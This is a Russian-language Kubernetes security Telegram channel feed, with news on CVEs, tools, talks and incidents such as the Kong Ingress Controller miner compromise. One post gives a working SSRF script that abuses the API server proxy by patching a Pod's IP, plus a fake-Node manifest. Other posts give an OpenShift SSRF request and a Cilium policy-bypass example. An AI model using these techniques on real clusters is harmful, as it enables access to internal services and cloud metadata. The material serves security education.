k8s (in)security @k8security Channel on Telegram

k8s (in)security

@k8security


Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений.

Ведет команда www.luntry.ru

Вопросы, идеи, предложения => @Qu3b3c

https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce&registryType=bloggersPermission

k8s (in)security (Russian)

Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений 'k8s (in)security' - это место, где вы найдете все необходимые сведения о безопасности в мире Kubernetes и микросервисов. Мы ценим и любим reliability и security, а также observability. Наша команда www.luntry.ru постоянно следит за актуальными трендами и новостями в области безопасности, чтобы обеспечить вам только самую свежую и полезную информацию. Если у вас есть вопросы, идеи или предложения, не стесняйтесь обращаться к администратору канала по имени @Qu3b3c. Присоединяйтесь к 'k8s (in)security', чтобы быть в курсе всех событий и обеспечить безопасность ваших сетей и приложений!

k8s (in)security

23 Jan, 05:04


Неприятная история случилась с Kong Ingress Controller в конце прошлого года – в прод попал образ, содержащий в себе майнер XMRig. Таймлайн происходящего был таков:

1) 28 августа 2024 года разработчики из Kong исправляют свои пайплайны меняя pull_request на pull_request_target
2) 25 ноября 2024 года они получают анонимный отчет от исследователя безопасности о том, что их репозиторий подвержен атаке Pwn request. После этого мейнтейнеры провели ротацию всех секретов в репозитории и вернули триггерное событие обратно на pull_request. Но только для главной ветки. Так что старые неиспользуемые ветки продолжили использовать pull_request_target, а значит были уязвимы.
3) Спустя почти два месяца, а именно 23 декабря 2024 года атакующие начали разведку – они получили доступ к секретам, в том числе к персональному токену доступа GitHub, проэксплуатировав уязвимость в одном из репозиториев.
4) Примерно через 22 часа – 24 декабря злоумышленники перешли на основной репозиторий с полученным на предудыщем шаге access token. Они запушили образ docker.io/kong/kubernetes-ingress-controller на Dockerhub с тегом 3.4.
5) 29 декабря 2024 года 4 пользователя отметили в issue на GitHub, что запуск Kong Ingress Controller приводит к аномально высокой нагрузке на ЦП.
6) 2 января 2025 мейнтейнеры подтвердили, что образ был скомпрометирован, а вунтри него содержался XMRig.

Более подробно о всей ситуации можно почитать в блоге KIC тут. Также было опубликовано YARA правило для обнаружения таких нагрузок.

k8s (in)security

22 Jan, 05:00


На Хабре вышла наша статья "Безопасность Kubernetes-кластеров: вредные советы или bullshit bingo", которая по сути является текстовым представлением нашего выступления с DevOpsConf 2024. В общем, для тех кому ближе текст, а не видео. И как всегда задавайте любые вопросы в комментариях!

k8s (in)security

21 Jan, 05:03


Сегодняшним постом продолжаем тематику наступательной безопасности в Kubernetes, а именно – рассмотрим механизм Proxy в Kubernetes API Server.

Наверняка вы знаете, что Kubernetes API Server может выступать в качестве HTTP-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy) получить доступ к Nodes или Pods.

Очевидно, что kubectl proxy позволяет по сути экспулатировать SSRF, поэтому рассмотрим несколько интересных способов использования этой функциональности:

1) Проксирование на адреса вне кластера

Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать IP адрес в поле status в манифесте Pod, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes распознает это изменение как ошибку и изменяет значение на действительный IP-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:


#!/bin/bash

set -euo pipefail

readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1

while true; do
curl -v -H 'Content-Type: application/json' \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"

cat $POD-orig.json |
sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
>"${POD}-patched.json"

curl -v -H 'Content-Type:application/merge-patch+json' \
-X PATCH -d "@${POD}-patched.json" \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"

rm -f "${POD}-orig.json" "${POD}-patched.json"
done


2) SSRF через Fake Node

Если у вас есть возможность создавать Nodes, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:


kind: Node
apiVersion: v1
metadata:
name: fakegoogle
status:
addresses:
- address: www.google.com
type: Hostname



curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/


3) CVE-2020-8562 – Обход blacklist

Эксплуатация уязвимости типа TOCTOU, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254. Прибегнув к известной технике для эксплуатации SSRFDNS rebinding можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.

Про эти и другие способы использования kubectl proxy рассказал Rory McCune в своей статье "Exploring the Kubernetes API Server Proxy".

k8s (in)security

20 Jan, 04:47


Начнем эту неделю со статьи "Reproducing CVE-2024-9042: Command Injection in Windows Kubernetes Nodes" про CVE-2024-9042, которая описывается вендором: Command Injection affecting Windows nodes via nodes/*/logs/query API. Ключевые моменты:

- Только Windows
- Должен быть включен NodeLogQuery feature gate (по умолчанию сейчас выключен и эту ручку упоминали тут)
- pattern параметр этой фичи напрямую передается в Powershell без фильтрации
- command injection любым пользователем и service account с правами GET на nodes/logs
- Позволяет выполнять команды на всех Windows нодах от NTAuthority\system

Вот как-то само собой так получается, что когда мы рассказываем [1,2] про Kubernetes в Windows мире, это обязательно про какие-то баги. И при этом эти баги не проходные, а которые действительно могут быть очень полезны атакующему.

P.S. Кто-нибудь Kubernetes кластера на Windows держит или игрался с ними?

k8s (in)security

17 Jan, 05:04


Вышло очередное новое видео из серии Kubernetes Security Fundamentals от Rory McCune. Это видео про Authentication, а вернее о том как работает аутентификация учетных записей сервисов в Kubernetes. Видео доступно по ссылке тут.

k8s (in)security

16 Jan, 05:03


Сегодня мы вам рекомендуем изучить статью "Building Container Images FROM Scratch: 6 Pitfalls That Are Often Overlooked" (Иван продолжай в том же духе ;)). Название говорит само за себя. Все с наглядными примерами проблем и их решениями.

k8s (in)security

15 Jan, 05:03


Первая конференция в 2025-ом году, которая зацепила наше внимание – ShmooCon 2025. Там было много интересных докладов, в том числе там был доклад и про Kubernetes Security – "A Commencement into Real Kubernetes Security (Jay Beale and Mark Manning)".

В докладе авторы рассказывают много чего интересного – затрагивают проблемы system call filtering system, приводящие к TOCTOU, говорят про инструменты для генерации и управления seccomp профилями в Kubernetes, показывают демо работы с инструментами peirates и KubeHound (1, 2).

Также в докладе был упомянут новый инструмент Seccomp-Diff, который может сравнивать Seccomp профили двух контейнеров и подсвечивать наиболее опасные системные вызовы. Может работать как CLI, так и через веб-приложение.

k8s (in)security

14 Jan, 05:06


Простая и понятная визуализация на тему как выбрать соответствующий Distroless образ от Google для вашего приложения.

О том что distroless бывают разные мы писали тут. И не забываем что там не все идеально - об этом писали тут ;)

Ну и вообще не только Google такое делает. И вообще можно это делать своими руками.

k8s (in)security

13 Jan, 05:03


Сегодня вновь затронем тему eBPF, а точнее observability зашифрованного трафика с помощью этой технологии – статья "What Insights Can eBPF Provide into Real-Time SSL/TLS Encrypted Traffic and How?" как раз об этом.

Автор рассматривает две функции – SSL_write() для записи данный (используется для перехвата данных, записанных клиентом, но еще не зашифрованных) и SSL_read() для чтения данных из SSL соединения. Эта функция позволяет перехватить расшифрованные данные, а также разобрать код ответа.

Самое интересное, что даже не нужны сертификаты TLS/SSL для расшифровки или шифрования трафика. Это позволяет наблюдать за протоколом приложения как до шифрования, так и после расшифровки.

Если говорить про перформанс, то такой способ даёт оверхед, хоть и всего 0.2 мкс. Кроме того, средняя нагрузка на процессор, создаваемая каждым хуком, выглядит следующим образом: 0,1% для uprobe/SSL_write*, 0,007% для uprobe/SSL_read* и 0,3% для uretprobe/SSL_read. Замеры проводились на 1000 запросах для каждого HTTP метода.

k8s (in)security

10 Jan, 06:39


Стали доступны записи выступлений с KubeCon + CloudNativeCon India 2024. Полный плейлист можно найти тут (это под 100 видео). Отдельно отметим доклады:
- A Deep Dive Into the Current Runtime Security Landscape
- Tutorial: Flatcar Container Linux Deep Dive: Deploying, Managing, and Automating Workloads Securely
- Enhance Kubernetes Security with the Common Expression Language (CEL)

k8s (in)security

09 Jan, 05:02


Когда-то мы рассказывали на канале о таком ресурсе как HackTricks. Там был раздел, посвященный Kubernetes Security, однако потом он переехал на отдельный ресурс HackTricks Cloud.

Сегодня мы хотим поделиться AI Assistant от создателя этих ресурсов – HackTricks Assistant. По сути это чат-бот, который натренирован на информации с HackTricks. В том числе, по Kubernetes Security.

Однако, по правде сказать – ничего особенного, этакая замена привычному поиску по сайту.

k8s (in)security

31 Dec, 15:03


Наша команда Luntry поздравляет всех читателей канала с наступающим 2025! Желаем всем счастья, здоровья в новом году и чтобы Kubernetes для вас стал не очередной головной болью, а их решением на пути к безопасной инфраструктуре и безопасным приложениям! А мы с командой вам также поможем на этом пути ;)

На следующий год мы запланировали много всего очень интересно и полезного. Что-то мы готовили весь этот год и готовы представить в следующем, что-то сделаем впервые и о чем нас давно просили =)

Мы в большом предвкушении показать как наши новые фичи, так и новые исследования! Тут будут и истории про 0day и 1day в Kubernetes и популярных Cloud Native решения (пока ждем патчей - в новом году обновляться придется часто).

Всем хорошо встретить праздники и набраться сил ;)

k8s (in)security

28 Dec, 05:21


Сегодня хочется познакомить вас с еще одним обучающим проектом в котором есть немного теории и практики по безопасности Kubernetes.

Это проект Damn Vulnerable Kubernetes Application (DVKA). В нем есть 2 задания:
- Hack The NFT Museum
- Enterprise Grade Network Debugging Console

Развернуть их можно на Minikube или Kind. И это напоминает проект Kubernetes Goat о котором мы уже рассказывали.

Также тут есть теория "Kubernetes Security Workshop: Hands-On Attack and Defense" со слайдами, и полезными ссылками, и последовательностями команд.

Самое то что можно развернуть на праздниках и поучиться ;)

k8s (in)security

27 Dec, 13:28


Подведем итоги года данного канала в цифрах.

Большое спасибо всем читателям, всему сообществу за вашу активность!


P.S. Цифры прошлых лет можно посмотреть тут и тут.

k8s (in)security

27 Dec, 09:51


Подводим итоги нашего новогоднего конкурса! Спасибо большое всем участникам - было здорово получить столько вариантов! Большего всего нам понравились поздравления от:
- @KorvinStromji
- @ultramaxim

Команда Luntry поздравляет победителей =)

P.S. В ближайшее время свяжемся с победителями насчет передачи подарков.

k8s (in)security

27 Dec, 06:50


Неплохая серия статей с замерами по теме сравнения и выбора Service Mesh (Istio, Linkerd, Cilium):
- Service Meshes Decoded Part One: A performance comparison of Istio vs Linkerd vs Cilium
- Service Meshes Decoded Part Two: Is Istio Ambient worth it?

k8s (in)security

26 Dec, 05:01


В начале года мы рассказывали про IMDSv2 в AWS облаке и то от чего может защитить этот механизим. Сегодня делимся неплохой статьей, попавшей к нам в руки – From Detection to Enforcement: Migrating from IMDSv1 to IMDSv2.

В статье авторы рассматривают шаги, связанные с внедрением IMDSv2, и проблемы с которыми можно столкнуться при переходе с IMDSv1. Переход от IMDSv1 к IMDSv2 может быть сложным процессом, особенно в больших распределенных средах, где может быть трудно получить информацию об использовании IMDSv1 во всех экземплярах EC2. Процесс миграции можно упростить, разбив его на ключевые этапы: идентификация, атрибуция, миграция и внедрение, хотя и здесь есть свои сложности.

k8s (in)security

25 Dec, 03:58


Сегодня хотим познакомить вас с одним необычным проектом с идеей о которой я думаю так или иначе задумывались многие ;)

Проект Kine это etcdshim, который транслирует etcd API к:
- SQLite
- Postgres
- MySQL/MariaDB
- NATS

Тут же вспоминается недавняя статья "65,000 nodes and counting: Google Kubernetes Engine is ready for trillion-parameter AI models" в которой рассказывалось, что для достижения таких умопомрачительных показателей (одним из изменений) было решено отказаться от etcd в пользу Spanner.

Давайте в комментариях накидаем мнений ЗА и ПРОТИВ подобной идеи.

P.S. Наверное предновогоднее настроение сказывается и тянет на что-то необычное, странное, сказочное наподобие такого)

k8s (in)security

24 Dec, 12:01


Чтобы вам на новогодних праздниках было не скучно - мы залили к нам на сайт видео двух наших выступлений:
1) "Латаем огрехи в образах приложений до рантайма, во время и после" c DevOops 2024
2) "Готовим контейнеры полезно и вкусно" c SafeCode 2024

Теперь в нашем разделе Исследований есть абсолютно все что мы презентовали в этом году! А это более 15 технических докладов и воркшопов за 2024 год по теме безопасности контейнеров и Kubernetes!

k8s (in)security

24 Dec, 05:00


Сегодня хотим отдельно рассказать про доклад, который мы вскользь упоминали в начале года – "I'll Let Myself In: Kubernetes Privilege Escalation Tactics" от Iain Smart & Andrew Martin. Авторы, уже рассказывали его на нескольких конференциях, последний раз на
Kubernetes Community Days UK.

В докладе авторы делятся способами повышения привилегий в Kubernetes кластерах, что будет полезным если вы делаете пентесты. Также не забывают и про постэксплуатацию.

На примере разбирается демо с Argo CD и побегом из контейнера в CI/CD.

k8s (in)security

23 Dec, 04:11


Хорошая статья "Evolution of pod’s privilege in EKS", демонстрирующая эволюцию механизмов предоставления прав Pods в Kubernetes в облачном провайдере на примере EKS. Достаточно подробно рассматривается путь:
1) Host role (...-2017)
2) Proxy roles (2017–2019)
3) IRSA (2019–2023)
4) Pod Identity (2023-...)

k8s (in)security

20 Dec, 05:00


Наверняка если вам нужно изучить структуру какого-нибудь ресурса из Kubernetes вы идете в документацию и смотрите API Overview.

Но это не всегда бывает удобно, поэтому сегодня хотим порекомендовать вам ресурс kubespec.dev. По сути это тоже своего рода структурированная документация по структурам ямлов всех Kubernetes ресурсов, но в более удобном и красивом отображении.

Из плюсов можно добавить возможность сравнения ресурсов между собой по версиям, примеры манифестов, а также поддержку кастомных ресурсов, например Kyverno, Cilium, Istio и т.д.

Проект появился недавно и активно развивается, так что в скором времени можно увидеть и другие фичи.

k8s (in)security

19 Dec, 12:00


Всем, привет!

Неумолимо приближаются праздники и наступление Нового года. Нам хочется уже потихоньку создать для вас новогоднее настроение (если у вас его еще нет). Для этого мы разыграем несколько наших подарков!

И так что надо сделать чтобы выиграть один из наших светильников:
К комментарию к данному посту необходимо написать оригинальное поздравление c Новым Годом для специалиста по безопасности контейнерных сред и Kubernetes =)

- Варианты принимаем до 26 числа включительно
- Вариантов может быть несколько
- Победителей на наше усмотрение может быть несколько
- Победителей будем выбирать своим субъективным мнением команды Luntry
- C победителями свяжемся и договоримся о передаче/пересылке

k8s (in)security

19 Dec, 05:06


На просторах сети интернет есть такая серия постов как "Hands-on lab: Full Kubernetes compromise, what will your SOC do about it?". Состоит она из 4 частей:
1) Введение - легенда про вымышленную компанию Kuby, в которой случился инцидент и были слиты их данные. Дается описание инфраструктуры компании.
2) Построение уязвимой инфраструктуры Kuby - стек Terraform, Amazon EKS, GitHub Actions CI/CD pipeline.
3) Атака инфраструктуры Kuby - supply-chain attack приводящий к backdoor.
4) Расследование инцидента - анализ событий в GuardDuty и сбор релевантных артефактов и что можно еще улучшить.

Это будет полезно и offensive и defensive, а также DevOps.

P.S. Один из наших партнеров в этом году сделал чумовую лабу под Luntry, на решение сценариев которой ушло 3-4 дня! Это было настолько здорово, что мы договорились ее развивать совместно.

k8s (in)security

18 Dec, 05:01


Сегодня речь пойдет про trust-manager – небольшой Kubernetes operator, который призван помочь снизить накладные расходы на управление TLS trust bundles в ваших кластерах.

Оператор добавляет CRD Bundle, который может считывать данные из различных источников и объединять полученные сертификаты в bundle, готовый к использованию.

trust-manager разработан как дополнение к cert-manager, но при необходимости может использоваться и независимо от него.

k8s (in)security

17 Dec, 05:05


Непонятно как так получилось, но более чем за 4-х летнюю историю нашего канала, мы ни разу не писали про OWASP Kubernetes Security Cheat Sheet.

За это время мы писали про:
- OWASP Microservices based Security Arch Doc Cheat Sheet
- OWASP Kubernetes Top 10 (критиковали это творение, которое так с 2022 года ни разу и не обновлялось)
- OWASP Top 10 CI/CD Security Risks (даже это попало на наши радары)

Но не про OWASP Kubernetes Security Cheat Sheet ... А он в действительности очень хорош и активно обновляется! И вот недавно по просьбе клиента мы рассказывали как Luntry позволяет это все помочь решить, мы поняли что на канале об этом ни разу не писали. Сегодня - исправляемся)

P.S. В январе в рамках нашего вебинара/стрима мы рассмотрим этот Cheat Sheet и смапим его полностью на возможности Luntry ;)

k8s (in)security

16 Dec, 12:09


Так как речь сегодня у нас пошла о тренингах/обучениях и уже как никак конец года и можно потихоньку начинать подводить итоги года, то можно сказать несколько слов и о моем тренинге "Cloud Native безопасность в Kubernetes" (1,2,3,4).

Данный тренинг я начал читать в 2021 года и уже получается 4 года! За это время он постоянно рос (с ~300 до ~540) и настолько увеличился, что не умещается уже в рамки 3-х дней. В итоге, я решил что в таком виде я его читал последний раз в этом году. И его ждет напрашивающаяся декомпозиция ввиду большого количества материалов, опыта, историй и кейсов. (так с легкой руки я придумал себе море работы на праздники - не делайте так!)

Также на мой взгляд это очень наглядно показывает как развивается данная тема безопасности контейнеров и Kubernetes и сколько с каждым годом в ней все больше тонкостей.

k8s (in)security

16 Dec, 05:01


Сегодня хотим поделиться большим и классным по наполнению воркшопом от Ian Smart и Rory McCune "Container Security Workshop", представленным на прошедшей недавно конференции BSides London 2024.

В воркшопе рассмотрели все возможные аспекты безопасности Docker и Kubernetes. Слайды можно посмотреть тут.

k8s (in)security

13 Dec, 12:02


На нашем сайте Luntry в разделе Исследований мы выложили слайды и запись нашего последнего вебинара на тему "Подпись и валидация образов в Kubernetes". Всем приятного просмотра и как обычно вопросы можно задавать в комментариях или на прямую!

Всем хороших выходных и пятницы 13 ;)

k8s (in)security

13 Dec, 05:31


Официально вышла новая версия Kubernetes 1.32 с кодовым именем "Penelope". Данная версия содержит 44 улучшения, из которых 13 ушли в Stable, 12 в Beta и 19 в Alpha.

Мы уже писали о ряде security улучшений данной версии, но можно ознакомиться и с другими обзорами [1,2,3].

k8s (in)security

12 Dec, 05:00


Если вы используете в своей инфраструктуре confidential containers, то статья "How your confidential containers can securely retrieve secrets?" как раз для вас.

В ней автор рассказывает как CoCo безопасно извлекают секреты, а также как устроен процесс аутентификации, resource retrieval flow и как выглядят запросы от ворклоадов до Confidential Data Hub endpoint.

k8s (in)security

11 Dec, 06:31


KubeLab - offline платформа для изучения Kubernetes. На ее базе можно выполнять и создавать практические лабораторные работы. Проект находится в ранней стадии, но определенно многим будет полезен для изучения.

В качестве online платформы IMHO безусловным лидером является iximiuz Labs!

k8s (in)security

10 Dec, 12:06


Прием заявок на доклады на БеКон 2025!

Если мы на предыдущие конференции только приглашали докладчиков из наших клиентов, друзей и партнеров, на конкретные темы, то сейчас появляется возможность предложить свою тему самостоятельно ;)

Требования к заявке:
- Продолжительность доклада — не более 25 минут
- Тема по безопасности контейнеров и Kubernetes
- Выступление рассчитано на технических специалистов
- Доклад актуален и основан на личном опыте
- Доклад ранее нигде не был представлен
- Доклад глубоко раскрывает тему и имеет практическое применение

P.S. Анонс сделали сильно заранее, чтобы было достаточно времени продумать и подготовить тему!

k8s (in)security

10 Dec, 05:00


Релиз Kubernetes 1.32 уже не за горами (на этой неделе), все изменения внесены, а это значит что можно посмотреть, что нового, с точки зрения security, нас ждёт в версии 1.32.

Наверное, одно из самых заметных изменений это добавление Feature Gate KubeletFineGrainedAuthz, благодаря которому доступ до эндпоинтов /health и получению списка Pods на конкретной Nodes будет разрешен соответствующими правами RBAC nodes/healthz и nodes/pods.

Также внесли ряд улучшений в Kubernetes Audit Policy, а вернее в логи, которые отставляет после себя этот механизм.

Нельзя не отметить изменения в Authentication и Token Management – добавлен JTI claim, и другая дополнительная информация к Service Account Token, AnonymousAuthConfigurableEndpoints перешел в beta и теперь включен по умолчанию.

В следующих постах обязательно рассмотрим эти улучшения по подробнее.

k8s (in)security

09 Dec, 12:05


11 и 12 декабря команда Luntry участвует в открытой конференции ИСП РАН в Москве.

В 2024 г. конференция посвящена 30-летию ИСП РАН, который был основан крупным советским и российским учёным В.П. Иванниковым. Участниками конференции станут эксперты отечественных и зарубежных научных и образовательных организаций, представители ведущих ИТ-компаний и государственных ведомств.

Мероприятие пройдет в Москве, в инновационном кластере «Ломоносов». Зарегистрироваться на мероприятие и ознакомиться с программой можно по ссылке.

k8s (in)security

06 Dec, 05:01


В начале декабря вышла новая версия Calico – 3.29 и в ней есть достаточно много мажорных изменений:

1) nftables dataplane. nftables использует новую реализацию nftables-based kube-proxy (представленную в Kubernetes 1.31) и обеспечивает совместимость с новыми функциями ядра, а также использует преимущества улучшенной безопасности, заложенные в новые функции ядра.

2) Tiered Network Policies. Новый ресурс в OpenSource версии Calico, позволяет группировать политики и выстраивать их приоритеты. Более подробно об этом можно почитать тут.

3) AdminNetworkPolicy support. Теперь Calico поддерживает AdminNetworkPolicy, которую должны добавить в следующих релизах. Об этом ресурсе мы рассказывали ранее на канале.

k8s (in)security

05 Dec, 06:33


Недавно копаясь и разбираясь с различными container runtimes, данное действие привело к проекту на Go под названием runj.

runj - это экспериментальный OCI-совместимый runtime для FreeBSD jails! Лично для меня это можно сказать завершение определённого цикла. Ведь механизм FreeBSD jails появился в 2000 году, а это за 13 лет до появления Docker, 15 лет до Kubernetes и 17 лет до OCI спецификация v1.0.0 для образов контейнеров. И тут можно сказать, что один из прародителей концепции контейнеров встретился со своим потомком =)

k8s (in)security

04 Dec, 05:01


Среди инструментов (коих немного) упрощающих процесс проведения пентеста контейнерных окружений очередное пополнение – Am I Isolated.

В целом, ничего нового, очень похоже на уже давно имеющиеся botb и amicontained. Из плюсов – написан на Rust и активно развивается.

Сейчас, например, в нём есть проверки на:

- возможность эксплуатации опасных capabilities
- возможность эксплуатации namespaces
- наличие проброшенного containerd/docker socket
- определение использования microVM
- поиск участков памяти для RWX

k8s (in)security

03 Dec, 05:04


Если вам мало CRI,CNI,CSI,CDI,CMI,CPI, то встречайте еще один интерфейс в Kubernetes под названием NRI.

NRI - это Node Resource Interface. По сути это механизм плагинов, позволяющий расширять возможности containerd с 1.7 и CRI-O c 1.26. Можно добавить собственную логику, которая будет выполняться в такие моменты жизни Pods как run, stop, remove и контейнеров как creation, post-creation, starting, post-start, updating, post-update, stopping, removal.

В первую очередь это было создано для более низкоуровневой, эффективной работы с ресурсами и устройствами, на пример, которых нельзя описать просто OCI спецификацией. Это может быть очень полезно облачным провайдерам или тем кто контролирует все свое железо и хочет заточится по его специфику. Примеры можно посмотреть тут и тут.

Также отдельно отметим очень высокий уровень критичности данного компонента, который по сути разливается привилегированным daemonset - при написании подобного помните о безопасности.

P.S. В процессе изучения данной темы был найден интересный показательный проект Koordinator (QoS-based scheduling), на котором можно проследить эволюцию подходов к управлению ресурсами в K8s.

k8s (in)security

02 Dec, 05:01


Начинаем эту неделю с eBPF тематики, а точнее со свежего документа "A Security Threat Model for eBPF" от eBPF Foundation. Этот документ будет полезен для тех, кто рассматривает внедрение технологии eBPF в своих системах, чтобы понимать связанные с этим риски и способы их снижения.

Отдельно хотим отметить раздел "Detailed Threats and Controls". Очевидно, что там отражены не все возможные угрозы, многие из них обобщены, описаны необходимые меры для митигации рисков.

k8s (in)security

29 Nov, 05:35


Сегодня хочется познакомить вас с одним достаточно не тривиальным проектом, который вы врятли запустите в проде сейчас, но по крайней мере заставит задуматься о возможностях контейнеризации, а для кого-то будет стартовой точкой написания своего инструмента или курсовой/диплома/...

Проект zeropod позволяет скалировать Pod в 0.

Zeropod — это Kubernetes runtime (точнее, containerd shim), который автоматически сохраняет контейнеры на диске после определенного времени последнего TCP-подключения. В таком состоянии (scales down to zero) он будет прослушивать тот же порт, который прослушивало приложение внутри контейнера, и восстановит этот контейнер при первом входящем подключении. В зависимости от размера программы с контрольной точкой это происходит за десятки или несколько сотен миллисекунд, практически незаметно для пользователя. Поскольку все содержимое памяти сохраняется на диске во время создания контрольной точки, восстанавливается все состояние приложения.

Для работы понадобиться установить данный runtime на Nodes, указать для соответствующих приложений runtimeClassName: zeropod, а затем уже проект CRIU (уже неоднократно о нем писали на канале 1,2,3,4,5), который находится под капотом сделает свое дело. На схеме можно увидеть процесс активации контейнера после того как он был checkpointed и к нему снова пошли сетевые обращения.

k8s (in)security

28 Nov, 12:05


На нашем сайте в разделе исследований стали доступны слайды и видеозапись доклада "Безопасность от виртуальных машин до контейнеров и обратно" с конференции Industrial++ 2024.

Доклад для тех кто только погружается в тему и хочет понять в чем тут вообще разница)

k8s (in)security

28 Nov, 05:00


Опубликовали очередную багу в Cilium – CVE-2024-52529. И в очередной раз бага связана с тем, что CiliumNetworkPolicy не работают так как должны (тут мы рассказывали про подобный баг).

Проблема возникает когда есть L3 политика с выставленным port range и L7 политика с портом из диапазона первой политики. В таком случае L7 CiliumNetworkPolicy работать не будет. Например:


apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "l3-port-range-rule"
spec:
endpointSelector:
matchLabels:
app: service
ingress:
- fromCIDR:
- 192.168.60.0/24
toPorts:
- ports:
- port: "80"
endPort: 444
protocol: TCP



apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "l7-port-range-rule"
spec:
endpointSelector:
matchLabels:
app: service
ingress:
toPorts:
- ports:
- port: "80"
protocol: TCP
rules:
http:
- method: "GET"
path: "/public"


В приведенном выше примере будут разрешены запросы ко всем HTTP path, а не только GET-запросы к пути /public, как это предусмотрено политикой l7-port-range-rule.

k8s (in)security

27 Nov, 06:14


kondense - это проект на Go выполненный в виде sidecar контейнера, который помогает автоматически управлять ресурсами контейнеров в Kubernetes без их перезапуска. На пример, освобождать не используемое количество выделенной контейнеру memory и CPU. Для этого используется не так давно появившееся фича InPlacePodVerticalScaling.

Многим такое полезно, но в данной реализации как по нам все омрачается правами ServiceAccount, которыми должен владеть Pod - это: "get", "list", "watch", "patch" на "pod" и (самое печальное) "create" на "pods/exec" (тут исходник, объясняющий зачем это)... С учетом этого также получается, что все сервисы теперь должны в своих NetworkPolicy иметь доступ к Kubernetes API.

Хоть проект и полезный, но с учетом вопросов ИБ к нему врят ли его можно рекомендовать. Явно нужно ждать другой реализации. Но сам факт появление подобных проектов вокруг фичи InPlacePodVerticalScaling это отлично.

k8s (in)security

26 Nov, 12:05


10 декабря в 11:00 наша команда Luntry проведет вебинар/стрим/эфир «Подпись и валидация образов в Kubernetes». Там мы планируем рассмотреть следующие темы:

– подготовка инфраструктуры для подписи и валидации образов;
– написание pipeline сборки для данного процесса;
– встраивание cosign в pipeline сборки;
– использование политик Kyverno и OPA Gatekeeper для валидации образов;
– возможности Luntry для контроля данного аспекта в инфраструктуре.

Зарегистрироваться на вебинар можно по ссылке.

P.S. Так как это у нас полный live, то тут в комментариях можно написать ваши пожелания/вопросы, которые вы бы хотели увидеть в рамках данного эфира, чтобы мы максимально широко раскрыли данную тему.

k8s (in)security

26 Nov, 05:00


Сегодняшний пост будет актуален для тех, кто использует у себя OpenShift. А, именно – была раскрыта CVE-2024-6538, позволяющая авторизированному пользователю эксплуатировать SSRF.

Бага была обнаружена в компоненте OpenShift console. Для её эксплуатации достаточно отправить следующий POST запрос:

POST /api/dev-console/proxy/internet

При этом, мы имеем Full Read SSRF, а значит получим полный ответ со всеми заголовками. Используя такой вектор атаки, злоумышленник может повлиять на другие сервисы, работающие внутри кластера и потенциально раскрыть информацию или оказать другое вредоносное воздействие на систему.

k8s (in)security

25 Nov, 05:01


Мысли/идеи о том что Virtual Desktop Infrastructure (VDI) можно сделать на базе классических/нативных контейнеров в Kubernetes все чаще мелькают на просторах сети и статья "How I came to build a cheap server cluster for VDI" еще одно подтверждение этому. Ранее мы писали о проекте kVDI, потом находили проект webmesh-vdi.

В рамках данной работы получился проект VM-Operator (написан на Java), где Qemu-based виртуальные машины (не классическая контейнеризация и так давно можно с помощью KubeVirt, но все же ) запускаются в Kubernetes Pods.

Мы абсолютно уверенны, что когда-нибудь и защита специализированных клиентский рабочих мест сведется к защите контейнеров ;)

k8s (in)security

22 Nov, 05:01


Способу побега из контейнера, о котором мы рассказывали в июле этого года, только на днях присвоили идентификатор CVE – CVE-2024-10220. Почему это произошло только сейчас, учитывая полный дисклоуз уязвимости, остаётся под вопросом.

Тем не менее, злоумышленник, используя deprecated gitRepo volume может совершить из контейнера, при соблюдении трёх условий – поддержка gitRepo volume type, наличие git бинаря на Node и отсутствие ограничений на использование gitRepo volume type.

Уязвимость аффектит следующие версии:

- kubelet v1.30.0 to v1.30.2
- kubelet v1.29.0 to v1.29.6
- kubelet <= v1.28.11


Фиксы доступны в:

- kubelet v1.31.0
- kubelet v1.30.3
- kubelet v1.29.7
- kubelet v1.28.12

k8s (in)security

21 Nov, 05:27


Сегодня нам бы хотелось поделиться с вами интересным докладом с интригующим названием специалиста Google - "Why Perfect Compliance Is the Enemy of Good Kubernetes Security" (видео) c KubeCon + CloudNativeCon North America 2024. Самый полезный на наш взгляд слайд мы вынесли в картинку поста ;)

k8s (in)security

20 Nov, 05:00


Очередной прошедший KubeCon в первую очередь ассоциируется с обновлением ряда инструментов для Kubernetes и Container. В их числе containerd, он релизнулся в версии 2.0 (о чем мы вкратце написали в одном из предыдущих постов).

В неплохой обзорной статье Samuel Karp рассказывает об основных изменениях в новой версии:

- NRI enabled by default
- Image verifier plugins
- Удаление устаревшего и избыточного кода

Если вы хотите более подробно ознакомиться со всеми изменениями, то это можно сделать тут и тут.

По части security ломающих изменений хочется отметить – io_uring_* syscalls are disallowed by default. Более подробно мы рассказывали про это здесь.

k8s (in)security

19 Nov, 12:05


В начале октября в рамках AM Life Plus наша команда Luntry в лице Дмитрия Евдокимова выступила с темой "Как контейнеры и Kubernetes меняют ландшафт угроз" в стиле TEDx. Где очень кратенько (всего 8 мин), без слайдов постаралась порассуждать на тему являются ли контейнерные технологии с оркестраторами новой головной болью для безопасников или наоборот являются новой возможностью противодействовать текущим вызовам и проблем ИБ.

k8s (in)security

19 Nov, 06:05


Стали доступны видеозаписи и слайды с KubeCon + CloudNativeCon North America 2024 и это более 300 докладов (смотреть, не пересмотреть). Про безопасность докладов как всегда хватает и мы постепенно самые интересные начнем рассматривать на нашем канале.

k8s (in)security

18 Nov, 12:04


На нашем сайте стали доступны слайды и видеозапись доклада "Kubernetes Audit Log в арсенале SOC" c SOC Forum 2024.

